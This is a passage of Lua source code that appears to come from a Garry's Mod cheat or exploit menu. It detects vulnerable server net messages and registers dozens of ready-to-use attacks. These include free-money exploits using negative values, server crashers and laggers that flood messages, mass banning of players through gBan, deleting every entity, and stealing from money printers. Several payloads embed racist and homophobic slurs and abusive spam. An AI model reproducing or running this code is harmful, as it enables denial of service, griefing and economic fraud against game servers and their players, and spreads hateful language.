3978 GL = 1
3979 end
3980
3981 if (LG > #Legs) then
3982 LG = 1
3983 end
3984
3985 net.Start("bodyman_model_change")
3986 net.WriteInt(PlayerModels[PM], 10)
3987 net.SendToServer()
3988 net.Start("bodygroups_change")
3989 net.WriteTable({1, Torso[TS]})
3990 net.SendToServer()
3991 net.Start("bodygroups_change")
3992 net.WriteTable({2, Legs[LG]})
3993 net.SendToServer()
3994 net.Start("bodygroups_change")
3995 net.WriteTable({3, Hands[HN]})
3996 net.SendToServer()
3997 net.Start("bodygroups_change")
3998 net.WriteTable({4, Glasses[GL]})
3999 net.SendToServer()
4000 end)
4001 else
4002 timer.Remove("bodygroups")
4003 ECNotify("Stopping")
4004 end
4005 end)
4006 end
4007
4008 status = ValidNetString("SendMoney")
4009
4010 if (status) then
4011 ECPrint("Found Exploit: Free Money #16 [SendMoney]")
4012
4013 addExploit("136", "Free Money #16", "get money", function()
4014 surface.PlaySound("garrysmod/ui_click.wav")
4015 ECNotify("Starting")
4016 hook.Remove("HUDPaint", "skhdsakjl")
4017 net.Start("SendMoney")
4018 net.WriteEntity(LocalPlayer())
4019 net.WriteEntity(LocalPlayer())
4020 net.WriteEntity(LocalPlayer())
4021 net.WriteString("-99999999")
4022 net.SendToServer()
4023 end)
4024 end
4025
4026 status = ValidNetString("BailOut")
4027
4028 if (status) then
4029 ECPrint("Found Exploit: Free Money #17 [BailOut]")
4030
4031 addExploit("137", "Free Money #17", "", function()
4032 surface.PlaySound("garrysmod/ui_click.wav")
4033 ECNotify("Starting")
4034
4035 for k, v in pairs(player.GetAll()) do
4036 net.Start("BailOut")
4037 net.WriteEntity(LocalPlayer())
4038 net.WriteEntity(v)
4039 net.WriteFloat(-999999999)
4040 net.SendToServer()
4041 end
4042 end)
4043 end
4044
4045 status = ValidNetString("hitcomplete")
4046
4047 if (status) then
4048 ECPrint("Found Exploit: Free Money #18 [hitcomplete]")
4049
4050 addExploit("138", "Free Money #18", "get money", function()
4051 surface.PlaySound("garrysmod/ui_click.wav")
4052 ECNotify("Starting")
4053 net.Start("hitcomplete")
4054 net.WriteDouble(99999999)
4055 net.SendToServer()
4056 end)
4057 end
4058
4059 ----------------------------------------
4060 for k, v in pairs(player.GetAll()) do
4061 dahater = v
4062 end
4063
4064 ----------------------------------------
4065 status = ValidNetString("hhh_request")
4066
4067 if (status) then
4068 ECPrint("Found Exploit: Free Money #19 [hhh_request]")
4069
4070 addExploit("139", "Free Money #19", "get money", function()
4071 surface.PlaySound("garrysmod/ui_click.wav")
4072 ECNotify("Starting")
4073 local plyhhh = LocalPlayer()
4074
4075 if dahater ~= plyhhh then
4076 local hitRequest = {}
4077 hitRequest.hitman = plyhhh
4078 hitRequest.requester = plyhhh
4079 hitRequest.target = dahater
4080 hitRequest.reward = -9999999
4081 net.Start('hhh_request')
4082 net.WriteTable(hitRequest)
4083 net.SendToServer()
4084 else
4085 ECPrint("In this version of HHH, you can not use an exploit!")
4086 end
4087 end)
4088 end
4089
4090 status = ValidNetString("DaHit")
4091
4092 if (status) then
4093 ECPrint("Found Exploit: Free Money #20 [DaHit]")
4094
4095 addExploit("140", "Free Money #20", "get money", function()
4096 surface.PlaySound("garrysmod/ui_click.wav")
4097 ECNotify("Starting")
4098 hook.Remove("HUDPaint", "skhdsakjl")
4099 net.Start("DaHit")
4100 net.WriteFloat(-99999999)
4101 net.WriteEntity(LocalPlayer())
4102 net.WriteEntity(LocalPlayer())
4103 net.WriteEntity(LocalPlayer())
4104 net.SendToServer()
4105 end)
4106 end
4107
4108 status = ValidNetString("textstickers_entdata")
4109
4110 if (status) then
4111 ECPrint("Found Exploit: Crash #2 [textstickers_entdata]")
4112
4113 addExploit("141", "Crash #2", "1tap", function()
4114 surface.PlaySound("garrysmod/ui_click.wav")
4115 ECNotify("Starting")
4116 net.Start("textstickers_entdata")
4117 net.WriteUInt(0xFFFFFFF, 32)
4118 net.SendToServer()
4119 end)
4120 end
4121
4122 status = ValidNetString("gBan.BanBuffer")
4123
4124 if (status) then
4125 ECPrint("Found Exploit: gBan Everyone [gBan.BanBuffer]")
4126
4127 addExploit("142", "gBan Everyone", "exploit in the old version of gban", function()
4128 surface.PlaySound("garrysmod/ui_click.wav")
4129 ECNotify("Starting")
4130
4131 for k, v in pairs(player.GetAll()) do
4132 if v ~= LocalPlayer() then
4133 net.Start("gBan.BanBuffer")
4134 net.WriteBool(true)
4135 net.WriteInt(0, 32)
4136 net.WriteString("haha owned")
4137 net.WriteString(v:SteamID())
4138 net.SendToServer()
4139 end
4140 end
4141 end)
4142 end
4143
4144 status = ValidNetString("ARMORY_RetrieveWeapon")
4145
4146 if (status) then
4147 ECPrint("Found Exploit: Free Armory #1 [ARMORY_RetrieveWeapon]")
4148
4149 addExploit("143", "Free Armory #1", "get weapon #1", function()
4150 surface.PlaySound("garrysmod/ui_click.wav")
4151 ECNotify("Starting")
4152 net.Start("ARMORY_RetrieveWeapon")
4153 net.WriteString("weapon1")
4154 net.SendToServer()
4155 end)
4156 end
4157
4158 status = ValidNetString("ARMORY_RetrieveWeapon")
4159
4160 if (status) then
4161 ECPrint("Found Exploit: Free Armory #2 [ARMORY_RetrieveWeapon]")
4162
4163 addExploit("144", "Free Armory #2", "get weapon #2", function()
4164 surface.PlaySound("garrysmod/ui_click.wav")
4165 ECNotify("Starting")
4166 net.Start("ARMORY_RetrieveWeapon")
4167 net.WriteString("weapon2")
4168 net.SendToServer()
4169 end)
4170 end
4171
4172 status = ValidNetString("ARMORY_RetrieveWeapon")
4173
4174 if (status) then
4175 ECPrint("Found Exploit: Free Armory #3 [ARMORY_RetrieveWeapon]")
4176
4177 addExploit("145", "Free Armory #3", "get weapon #3", function()
4178 surface.PlaySound("garrysmod/ui_click.wav")
4179 ECNotify("Starting")
4180 net.Start("ARMORY_RetrieveWeapon")
4181 net.WriteString("weapon3")
4182 net.SendToServer()
4183 end)
4184 end
4185
4186 status = ValidNetString("TransferReport")
4187
4188 if (status) then
4189 ECPrint("Found Exploit: Report Spammer [TransferReport]")
4190
4191 addExploit("146", "Report Spammer", "report all players", function()
4192 surface.PlaySound("garrysmod/ui_click.wav")
4193 ECNotify("Starting")
4194 net.Start("TransferReport")
4195 net.WriteString(v:SteamID())
4196 net.WriteString("CHINKGANG FAGOTS")
4197 net.WriteString("DITCH THIS SHITTY SERVER AND BUY R2D2 TODAY")
4198 net.SendToServer()
4199 end)
4200 end
4201
4202 status = ValidNetString("FIRE_CreateFireTruck")
4203
4204 if (status) then
4205 ECPrint("Found Exploit: Create Fire Truck [FIRE_CreateFireTruck]")
4206
4207 addExploit("147", "Create Fire Truck", "", function()
4208 surface.PlaySound("garrysmod/ui_click.wav")
4209 ECNotify("Starting")
4210 net.Start("FIRE_CreateFireTruck")
4211 net.SendToServer()
4212 end)
4213 end
4214
4215 status = ValidNetString("TFA_Attachment_RequestAll")
4216
4217 if (status) then
4218 ECPrint("Found Exploit: Lagger #20 [TFA_Attachment_RequestAll]")
4219
4220 addExploit("148", "Lagger #20", "an exploit in 'TFA Weapon Pack', discovered by zerg314", function()
4221 surface.PlaySound("garrysmod/ui_click.wav")
4222
4223 if not timer.Exists("lagger20") then
4224 timer.Create("lagger20", 0, 0, function()
4225 for i = 1, 800 do
4226 net.Start("TFA_Attachment_RequestAll", true)
4227 net.SendToServer()
4228 end
4229 end)
4230
4231 ECNotify("Starting Lagger")
4232 else
4233 timer.Remove("lagger20")
4234 ECNotify("Stopping Lagger")
4235 end
4236 end)
4237 end
4238
4239 status = ValidNetString("FIRE_RemoveFireTruck")
4240
4241 if (status) then
4242 ECPrint("Found Exploit: Remove Fire Truck [FIRE_RemoveFireTruck]")
4243
4244 addExploit("149", "Remove Fire Truck", "", function()
4245 surface.PlaySound("garrysmod/ui_click.wav")
4246 ECNotify("Starting")
4247 net.Start("FIRE_RemoveFireTruck")
4248 net.SendToServer()
4249 end)
4250 end
4251
4252 status = ValidNetString("gPrinters.sendID")
4253
4254 if (status) then
4255 ECPrint("Found Exploit: Lagger #21 [gPrinters.sendID]")
4256
4257 addExploit("150", "Lagger #21", "B1G LAGZ, discovered by Leith", function()
4258 surface.PlaySound("garrysmod/ui_click.wav")
4259 ECNotify("Starting")
4260
4261 if not timer.Exists("lagger21") then
4262 timer.Create("lagger21", 0, 0, function()
4263 for i = 1, 1000 do
4264 net.Start("gPrinters.sendID", true)
4265 net.WriteEntity(LocalPlayer())
4266 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 8)
4267 net.SendToServer()
4268 end
4269 end)
4270 end
4271 end)
4272 end
4273
4274 status = ValidNetString("requestmoneyforvk") -- RusElite Server
4275
4276 if (status) then
4277 ECPrint("Found Exploit: Free 50k [requestmoneyforvk]")
4278
4279 addExploit("151", "Free 50k", "gives you 50k bypassing the validation check, discovered by Leith", function()
4280 surface.PlaySound("garrysmod/ui_click.wav")
4281 ECNotify("Starting")
4282 net.Start("requestmoneyforvk")
4283 net.WriteEntity(LocalPlayer())
4284 net.SendToServer()
4285 end)
4286 end
4287
4288 status = ValidNetString("vj_testentity_runtextsd")
4289
4290 if (status) then
4291 ECPrint("Found Exploit: VJSay [NEW] [vj_testentity_runtextsd]")
4292
4293 addExploit("152", "VJSay [NEW]", "'fix' of the old exploit", function()
4294 surface.PlaySound("garrysmod/ui_click.wav")
4295 ECNotify("Starting")
4296
4297 for k, v in pairs(player.GetAll()) do
4298 net.Start("vj_testentity_runtextsd")
4299 net.WriteEntity(v)
4300 net.WriteString("OWNED OWNED OWNED OWNED OWNED OWNED OWNED OWNED ")
4301 net.WriteString("vj_illuminati/Illuminati Confirmed.mp3")
4302 net.SendToServer()
4303 end
4304 end)
4305 end
4306
4307 status = ValidNetString("NET_BailPlayer") -- need to test
4308
4309 if (status) then
4310 ECPrint("Found Exploit: Players Spam [NET_BailPlayer]")
4311
4312 addExploit("153", "Players Spam", "", function()
4313 surface.PlaySound("garrysmod/ui_click.wav")
4314 ECNotify("Starting")
4315
4316 for k, v in pairs(player.GetAll()) do
4317 net.Start("NET_BailPlayer")
4318 net.WriteEntity(v)
4319 net.WriteEntity(v)
4320 net.SendToServer()
4321 end
4322 end)
4323 end
4324
4325 status = ValidNetString("Taxi_Add") -- need to test
4326
4327 if (status) then
4328 ECPrint("Found Exploit: Free Money #21 [Taxi_Add]")
4329
4330 addExploit("154", "Free Money #21", "maybe not work", function()
4331 surface.PlaySound("garrysmod/ui_click.wav")
4332 ECNotify("Starting")
4333 net.Start("Taxi_Add")
4334 net.WriteString("MLG")
4335 net.WriteTable({-1333.647461, -1473.931763, -139.968750})
4336 net.WriteFloat(-99999999)
4337 net.WriteString(Desc)
4338 net.SendToServer()
4339 end)
4340 end
4341
4342 status = ValidNetString("BuyCar")
4343
4344 if (status) then
4345 ECPrint("Found Exploit: Free Money #22 [BuyCar]")
4346
4347 addExploit("155", "Free Money #22", "get money", function()
4348 surface.PlaySound("garrysmod/ui_click.wav")
4349 ECNotify("Starting")
4350 net.Start('BuyCar')
4351 net.WriteFloat(-1000000)
4352 net.WriteEntity(LocalPlayer())
4353 net.WriteString("Gay")
4354 net.WriteString("Cock")
4355 net.WriteString("Twat")
4356 net.SendToServer()
4357 end)
4358 end
4359
4360 status = ValidNetString("rpi_trade_end")
4361
4362 if (status) then
4363 ECPrint("Found Exploit: Test Function [rpi_trade_end]")
4364
4365 addExploit("156", "Test Function", "just test", function()
4366 surface.PlaySound("garrysmod/ui_click.wav")
4367 ECNotify("Starting")
4368 local it = 0
4369
4370 timer.Create(util.CRC(tostring(CurTime())), 0.5, 0, function()
4371 if (it > #player.GetAll()) then
4372 it = 1
4373 else
4374 it = it + 1
4375 end
4376
4377 net.Start("rpi_trade_end")
4378 net.WriteUInt(it, 16)
4379 net.SendToServer()
4380 end)
4381 end)
4382 end
4383
4384 status = ValidNetString("ClickerForceSave")
4385
4386 if (status) then
4387 ECPrint("Found Exploit: Melon Crash [ClickerForceSave]")
4388
4389 addExploit("157", "Melon Crash", "", function()
4390 surface.PlaySound("garrysmod/ui_click.wav")
4391 ECNotify("Starting")
4392
4393 hook.Add("Think", "ps_spam", function()
4394 for k, v in pairs(player.GetAll()) do
4395 net.Start("ClickerForceSave")
4396 net.WriteEntity(ply)
4397 net.WriteInt(1, 1)
4398 net.SendToServer()
4399 end
4400 end)
4401 end)
4402 end
4403
4404 status = ValidNetString("SRequest")
4405
4406 if (status) then
4407 ECPrint("Found Exploit: Deagle Grab [SRequest]")
4408
4409 addExploit("158", "Deagle Grab", "", function()
4410 surface.PlaySound("garrysmod/ui_click.wav")
4411 ECNotify("Starting")
4412
4413 for k, v in pairs(player.GetAll()) do
4414 net.Start("SRequest")
4415 net.WriteEntity(v)
4416 net.SendToServer()
4417 end
4418 end)
4419 end
4420
4421 status = ValidNetString("HealButton")
4422
4423 if (status) then
4424 ECPrint("Found Exploit: Free HP [HealButton]")
4425
4426 addExploit("159", "Free HP", "free hp", function()
4427 surface.PlaySound("garrysmod/ui_click.wav")
4428 ECNotify("Starting")
4429 net.Start("HealButton")
4430 net.WriteEntity(LocalPlayer())
4431 net.WriteFloat(999999)
4432 net.SendToServer()
4433 end)
4434 end
4435
4436 status = ValidNetString("ArmorButton")
4437
4438 if (status) then
4439 ECPrint("Found Exploit: Free Armor [ArmorButton]")
4440
4441 addExploit("160", "Free Armor", "free armor", function()
4442 surface.PlaySound("garrysmod/ui_click.wav")
4443 ECNotify("Starting")
4444 net.Start("ArmorButton")
4445 net.WriteEntity(LocalPlayer())
4446 net.WriteFloat(999999)
4447 net.SendToServer()
4448 end)
4449 end
4450
4451 status = ValidNetString("SprintSpeedset")
4452
4453 if (status) then
4454 ECPrint("Found Exploit: TTT SpeedHack [SprintSpeedset]")
4455
4456 addExploit("161", "TTT SpeedHack", "changes your speed", function()
4457 surface.PlaySound("garrysmod/ui_click.wav")
4458 ECNotify("Starting")
4459 net.Start("SprintSpeedset")
4460 net.WriteFloat(math.min(math.max(2, 0.1), 2))
4461 net.SendToServer()
4462 end)
4463 end
4464
4465 status = ValidNetString("GiveArmor100")
4466
4467 if (status) then
4468 ECPrint("Found Exploit: Armor Exploit [GiveArmor100]")
4469
4470 addExploit("162", "Armor Exploit", "", function()
4471 surface.PlaySound("garrysmod/ui_click.wav")
4472 ECNotify("Starting")
4473 net.Start("GiveArmor100")
4474 net.SendToServer()
4475 end)
4476 end
4477
4478 status = ValidNetString("GiveSCP294Cup") -- NEED TO TEST !!
4479
4480 if (status) then
4481 ECPrint("Found Exploit: 294 JAM [NEED TO TEST] [GiveSCP294Cup]")
4482 SCPLAG = 0
4483
4484 addExploit("163", "SCP 249 JAM!", "", function()
4485 surface.PlaySound("garrysmod/ui_click.wav")
4486 ECNotify("Starting")
4487
4488 if (SCPLAG == 0) then
4489 SCPLAG = 1
4490
4491 timer.Create("LagThatShit", time, 0.05, function()
4492 for k, v in pairs(ents.GetAll()) do
4493 if v:GetClass() == "scp294" then
4494 net.Start("GiveSCP294Cup")
4495 net.WriteString("shit")
4496 net.WriteEntity(v)
4497 net.SendToServer()
4498 end
4499 end
4500 end)
4501 else
4502 SCPLAG = 0
4503 timer.Remove("LagThatShit")
4504 end
4505 end)
4506 end
4507
4508
4509 status = ValidNetString("Client_To_Server_OpenEditor")
4510
4511 if (status) then
4512 ECPrint("Found Exploit: SCP 249 Drink Menu Hack [Client_To_Server_OpenEditor]")
4513
4514 addExploit("164", "SCP 249 Drink Menu Hack", "", function()
4515 surface.PlaySound("garrysmod/ui_click.wav")
4516 ECNotify("Starting")
4517 net.Start("Client_To_Server_OpenEditor")
4518 net.SendToServer()
4519 end)
4520 end
4521
4522 status = ValidNetString("DuelMessageReturn")
4523
4524 if (status) then
4525 ECPrint("Found Exploit: Duel Crazy [DuelMessageReturn]")
4526
4527 addExploit("165", "Duel Crazy", "forces all players to fight with all players, discovered by Solly", function()
4528 surface.PlaySound("garrysmod/ui_click.wav")
4529 ECNotify("Starting")
4530
4531 timer.Create("crazyduel", 0.1, 0, function()
4532 s.duel[1] = table.Random(player.GetAll())
4533 s.duel[2] = table.Random(player.GetAll())
4534 net.Start("DuelMessageReturn")
4535 net.WriteFloat(1)
4536 net.WriteTable(s.duel)
4537 net.SendToServer()
4538 end)
4539 end)
4540 end
4541
4542 status = ValidNetString("userAcceptPrestige")
4543
4544 if (status) then
4545 ECPrint("Found Exploit: Free Prestige [userAcceptPrestige]")
4546
4547 addExploit("166", "Free Prestige", "exploit for free prestige", function()
4548 surface.PlaySound("garrysmod/ui_click.wav")
4549 ECNotify("Starting")
4550 net.Start("userAcceptPrestige")
4551 net.SendToServer()
4552 end)
4553 end
4554
4555 status = ValidNetString("wordenns")
4556
4557 if (status) then
4558 ECPrint("Found Exploit: Steal All Monies #11 [wordenns]")
4559
4560 addExploit("167", "Steal All Monies #11", "withdraw money from all printers", function()
4561 surface.PlaySound("garrysmod/ui_click.wav")
4562 ECNotify("Starting")
4563 ECPrint("printers:" .. tostring(#ents.FindByClass("derma_printer")))
4564
4565 for k, v in pairs(ents.FindByClass("derma_printer")) do
4566 net.Start("wordenns")
4567 net.WriteEntity(v)
4568 net.SendToServer()
4569 end
4570 end)
4571 end
4572
4573 status = ValidNetString("guncraft_removeWorkbench")
4574
4575 if (status) then
4576 ECPrint("Found Exploit: Remove all Entity [guncraft_removeWorkbench]")
4577
4578 addExploit("168", "Remove all Entity", "an exploit in addon 'GunCraft'", function()
4579 surface.PlaySound("garrysmod/ui_click.wav")
4580 ECNotify("Starting")
4581
4582 if not timer.Exists("removentity") then
4583 timer.Create("removentity", 3, 0, function()
4584 for k, v in pairs(ents.GetAll()) do
4585 net.Start("guncraft_removeWorkbench")
4586 net.WriteEntity(v)
4587 net.SendToServer()
4588 end
4589 end)
4590 end
4591 end)
4592 end
4593
4594 status = ValidNetString("BuyKey")
4595
4596 if (status) then
4597 ECPrint("Found Exploit: Blue Unbox Exploit [NEED TO TEST]")
4598
4599 addExploit("169", "Blue Unbox Exploit", "", function()
4600 surface.PlaySound("garrysmod/ui_click.wav")
4601 ECNotify("Starting")
4602 net.Start("BuyKey")
4603 net.SendToServer()
4604 net.Start("BuyCrate")
4605 net.SendToServer()
4606 end)
4607 end
4608
4609 status = ValidNetString("casinokit_chipexchange")
4610
4611 if (status) then
4612 ECPrint("Found Exploit: Free Money #23 [casinokit_chipexchange]")
4613
4614 addExploit("170", "Free Money #23", "only works if outdated", function()
4615 surface.PlaySound("garrysmod/ui_click.wav")
4616 ECNotify("Starting")
4617 local moneylog = LocalPlayer():getDarkRPVar("money")
4618 net.Start("casinokit_chipexchange")
4619 net.WriteEntity(self)
4620 net.WriteString("darkrp")
4621 net.WriteBool(true)
4622 net.WriteUInt(LocalPlayer():getDarkRPVar("money"), 32)
4623 net.SendToServer()
4624
4625 timer.Simple(3, function()
4626 for i = 1, 5000 do
4627 net.Start("casinokit_chipexchange")
4628 net.WriteEntity(self)
4629 net.WriteString("darkrp")
4630 net.WriteBool(false)
4631 net.WriteUInt(moneylog * 0.10, 32)
4632 net.SendToServer()
4633 end
4634 end)
4635 end)
4636 end
4637
4638 status = ValidNetString("PurchaseWeed")
4639
4640 if (status) then
4641 ECPrint("Found Exploit: Buy Weed [PurchaseWeed]")
4642
4643 addExploit("171", "Buy Weed", "", function()
4644 surface.PlaySound("garrysmod/ui_click.wav")
4645 ECNotify("Starting")
4646 net.Start("PurchaseWeed")
4647 net.WriteInt(tonumber(10000), 16)
4648 net.WriteInt(tonumber(1), 16)
4649 net.WriteBool(LocalPlayer().Buying)
4650 net.SendToServer()
4651 end)
4652 end
4653
4654 status = ValidNetString("PurchaseWeed")
4655
4656 if (status) then
4657 ECPrint("Found Exploit: Sell Weed [PurchaseWeed]")
4658
4659 addExploit("172", "Sell Weed", "", function()
4660 surface.PlaySound("garrysmod/ui_click.wav")
4661 ECNotify("Starting")
4662 net.Start("PurchaseWeed")
4663 net.WriteInt(tonumber(100), 16)
4664 net.WriteInt(tonumber(100), 16)
4665 net.WriteBool(LocalPlayer().Selling)
4666 net.SendToServer()
4667 end)
4668 end
4669
4670 status = ValidNetString("DoDealerDeliver")
4671
4672 if (status) then
4673 ECPrint("Found Exploit: Buy Tab [DoDealerDeliver]")
4674
4675 addExploit("173", "Buy Tab", "", function()
4676 surface.PlaySound("garrysmod/ui_click.wav")
4677 ECNotify("Starting")
4678
4679 if (LocalPlayer():getDarkRPVar("money") >= WEED_CONFIG.TabletPrice) then
4680 net.Start("DoDealerDeliver")
4681 net.WriteBool(false)
4682 net.SendToServer()
4683 end
4684 end)
4685 end
4686
4687 status = ValidNetString("DoDealerDeliver")
4688
4689 if (status) then
4690 ECPrint("Found Exploit: Buy Bong [DoDealerDeliver]")
4691
4692 addExploit("174", "Buy Bong", "", function()
4693 surface.PlaySound("garrysmod/ui_click.wav")
4694 ECNotify("Starting")
4695
4696 if (LocalPlayer():getDarkRPVar("money") >= WEED_ITEMS.Items["Tools"]["bong"].price) then
4697 net.Start("DoDealerDeliver")
4698 net.WriteBool(true)
4699 net.SendToServer()
4700 end
4701 end)
4702 end
4703
4704 status = ValidNetString("sendDuelInfo")
4705
4706 if (status) then
4707 ECPrint("Found Exploit: Duel NPC Exploit [sendDuelInfo]")
4708
4709 addExploit("175", "Duel NPC Exploit", "", function()
4710 surface.PlaySound("garrysmod/ui_click.wav")
4711 ECNotify("Starting")
4712 net.Start("sendDuelInfo")
4713 net.WriteString(table.Random(player.GetAll()):Nick())
4714 net.WriteString("xxdddd")
4715 net.WriteString("1e+100")
4716 net.WriteEntity(table.random(player.GetAll()):UserID())
4717 net.WriteInt(3, 3)
4718 net.SendToServer()
4719 end)
4720 end
4721
4722 status = ValidNetString("InviteMember")
4723
4724 if (status) then
4725 ECPrint("Found Exploit: Invite all players [InviteMember]")
4726
4727 addExploit("176", "Invite all players", "Invite all players to your org", function()
4728 surface.PlaySound("garrysmod/ui_click.wav")
4729 ECNotify("Starting")
4730
4731 for k, v in pairs(player.GetAll()) do
4732 net.Start("InviteMember")
4733 net.WriteEntity(v)
4734 net.WriteEntity(v)
4735 net.WriteString("lol what")
4736 net.SendToServer()
4737 end
4738 end)
4739 end
4740
4741 status = ValidNetString("newTerritory")
4742
4743 if (status) then
4744 ECPrint("Found Exploit: New Territory [newTerritory]")
4745
4746 addExploit("177", "New Territory", "", function()
4747 surface.PlaySound("garrysmod/ui_click.wav")
4748 ECNotify("Starting")
4749
4750 for k, v in pairs(player.GetAll()) do
4751 net.Start("newTerritory")
4752 net.WriteString("Hackers")
4753 net.WriteTable(t)
4754 net.SendToServer()
4755 end
4756 end)
4757 end
4758
4759 status = ValidNetString("CreateOrganization")
4760
4761 if (status) then
4762 ECPrint("Found Exploit: Org Exploit [CreateOrganization]")
4763
4764 addExploit("178", "Org Exploit", "", function()
4765 surface.PlaySound("garrysmod/ui_click.wav")
4766 ECNotify("Starting")
4767
4768 for k, v in pairs(player.GetAll()) do
4769 net.Start("CreateOrganization")
4770 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4771 net.WriteString("Join my gang or will rekt u")
4772 net.SendToServer()
4773 end
4774 end)
4775 end
4776
4777 status = ValidNetString("DisbandOrganization")
4778
4779 if (status) then
4780 ECPrint("Found Exploit: Org Disband [DisbandOrganization]")
4781
4782 addExploit("179", "Org Disband", "", function()
4783 surface.PlaySound("garrysmod/ui_click.wav")
4784 ECNotify("Starting")
4785 net.Start("DisbandOrganization")
4786 net.WriteEntity(LocalPlayer())
4787 net.SendToServer()
4788 end)
4789 end
4790
4791 status = ValidNetString("ChangeOrgName")
4792
4793 if (status) then
4794 ECPrint("Found Exploit: Org Change Name [ChangeOrgName]")
4795
4796 addExploit("180", "Org Change Name", "", function()
4797 surface.PlaySound("garrysmod/ui_click.wav")
4798 ECNotify("Starting")
4799 net.Start("ChangeOrgName")
4800 net.WriteString("I LOVE BANNAS WOOOOOOOOO I FUCKED GIANT BABIES WOOOOOO")
4801 net.WriteString("SHITTY CUNT ASS SERVER FUCK OFF. STOP WITH YOUR SHITTY COPY AND PASTE SHIT! YOU STOLE MY SHIT NIGGER!")
4802 net.WriteEntity(LocalPlayer())
4803 net.SendToServer()
4804 end)
4805 end
4806
4807 status = ValidNetString("IS_SubmitSID_C2S")
4808
4809 if (status) then
4810 ECPrint("Found Exploit: Free Reward [IS_SubmitSID_C2S | IS_GetReward_C2S]")
4811
4812 addExploit("181", "Free Reward", "", function()
4813 surface.PlaySound("garrysmod/ui_click.wav")
4814 ECNotify("Starting")
4815 net.Start("IS_SubmitSID_C2S")
4816 net.WriteString("Killa")
4817 net.SendToServer()
4818 net.Start("IS_GetReward_C2S")
4819 net.SendToServer()
4820 end)
4821 end
4822
4823 status = ValidNetString("AcceptBailOffer")
4824
4825 if (status) then
4826 ECPrint("Found Exploit: Bail Offer Exploit [AcceptBailOffer]")
4827
4828 addExploit("182", "Bail Offer Exploit", "", function()
4829 surface.PlaySound("garrysmod/ui_click.wav")
4830 ECNotify("Starting")
4831
4832 for k, v in pairs(player.GetAll()) do
4833 net.Start("AcceptBailOffer")
4834 net.WriteEntity(v)
4835 net.WriteUInt(-100000000000000000, 16)
4836 net.SendToServer()
4837 end
4838 end)
4839 end
4840
4841 status = ValidNetString("CP_Test_Results")
4842
4843 if (status) then
4844 ECPrint("Found Exploit: CP Bypass [CP_Test_Results]")
4845
4846 addExploit("183", "CP Bypass", "", function()
4847 surface.PlaySound("garrysmod/ui_click.wav")
4848 ECNotify("Starting")
4849 net.Start("CP_Test_Results")
4850 net.WriteInt(1, 8)
4851 net.SendToServer()
4852 end)
4853 end
4854
4855 status = ValidNetString("ReSpawn")
4856
4857 if (status) then
4858 ECPrint("Found Exploit: Respawn #4 [ReSpawn]")
4859
4860 addExploit("184", "Respawn #4", "just respawn", function()
4861 surface.PlaySound("garrysmod/ui_click.wav")
4862 ECNotify("Starting")
4863 net.Start("ReSpawn")
4864 net.SendToServer()
4865 end)
4866 end
4867
4868 status = ValidNetString("FIGHTCLUB_KickPlayer")
4869
4870 if (status) then
4871 ECPrint("Found Exploit: Fight Club Kick [FIGHTCLUB_KickPlayer]")
4872
4873 addExploit("185", "Fight Club Kick", "", function()
4874 surface.PlaySound("garrysmod/ui_click.wav")
4875 ECNotify("Starting")
4876
4877 for k, v in pairs(player.GetAll()) do
4878 net.Start("FIGHTCLUB_KickPlayer")
4879 net.WriteBit(v)
4880 net.WriteEntity(v)
4881 net.SendToServer()
4882 end
4883 end)
4884 end
4885
4886 status = ValidNetString("FIGHTCLUB_StartFight")
4887
4888 if (status) then
4889 ECPrint("Found Exploit: Fight Club Start Fight [FIGHTCLUB_StartFight]")
4890
4891 addExploit("186", "Fight Club Start Fight", "", function()
4892 surface.PlaySound("garrysmod/ui_click.wav")
4893 ECNotify("Starting")
4894
4895 for k, v in pairs(player.GetAll()) do
4896 net.Start("FIGHTCLUB_StartFight")
4897 net.WriteEntity(v)
4898 net.SendToServer()
4899 end
4900 end)
4901 end
4902
4903 status = ValidNetString("IveBeenRDMed")
4904
4905 if (status) then
4906 ECPrint("Found Exploit: Fake RDM [IveBeenRDMed]")
4907
4908 addExploit("187", "Fake RDM", "", function()
4909 surface.PlaySound("garrysmod/ui_click.wav")
4910 ECNotify("Starting")
4911
4912 for k, v in pairs(player.GetAll()) do
4913 net.Start("IveBeenRDMed")
4914 net.WriteEntity(v)
4915 net.SendToServer()
4916 end
4917 end)
4918 end
4919
4920 status = ValidNetString("nCTieUpStart")
4921
4922 if (status) then
4923 ECPrint("Found Exploit: Combine Control Exploit [nCTieUpStart]")
4924
4925 addExploit("188", "Combine Control Exploit", "", function()
4926 surface.PlaySound("garrysmod/ui_click.wav")
4927 ECNotify("Starting")
4928
4929 for k, v in pairs(ents.GetAll()) do
4930 net.Start("nCTieUpStart")
4931 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4932 net.SendToServer()
4933 end
4934 end)
4935 end
4936
4937 status = ValidNetString("DestroyTable")
4938
4939 if (status) then
4940 ECPrint("Found Exploit: Fuck All [DestroyTable]")
4941
4942 addExploit("189", "Fuck All", "discovered by Leith", function()
4943 surface.PlaySound("garrysmod/ui_click.wav")
4944 ECNotify("Starting")
4945
4946 for k, v in pairs(ents.GetAll()) do
4947 net.Start("DestroyTable")
4948 net.WriteEntity(v)
4949 net.SendToServer()
4950 end
4951 end)
4952 end
4953
4954 status = ValidNetString("start_wd_hack")
4955
4956 if (status) then
4957 ECPrint("Found Exploit: Hack Phone Exploit [start_wd_hack]")
4958
4959 addExploit("190", "Hack Phone Exploit", "", function()
4960 surface.PlaySound("garrysmod/ui_click.wav")
4961 ECNotify("Starting")
4962 net.Start("start_wd_hack")
4963 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4964 net.SendToServer()
4965 end)
4966 end
4967
4968 status = ValidNetString("bringNfreeze")
4969
4970 if (status) then
4971 ECPrint("Found Exploit: Ban Exploit [bringNfreeze]")
4972
4973 addExploit("191", "Ban Exploit", "", function()
4974 surface.PlaySound("garrysmod/ui_click.wav")
4975 ECNotify("Starting")
4976
4977 for k, v in pairs(player.GetAll()) do
4978 net.Start('bringNfreeze')
4979 net.WriteEntity(self)
4980 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4981 net.SendToServer()
4982 end
4983 end)
4984 end
4985
4986 status = ValidNetString("JoinFirstSS")
4987
4988 if (status) then
4989 ECPrint("Found Exploit: Join First SS [JoinFirstSS]")
4990
4991 addExploit("192", "Join First SS", "", function()
4992 surface.PlaySound("garrysmod/ui_click.wav")
4993 ECNotify("Starting")
4994 net.Start("JoinFirstSS")
4995 net.WriteEntity(LocalPlayer())
4996 net.SendToServer()
4997 end)
4998 end
4999
5000 status = ValidNetString("unarrestPerson")
5001
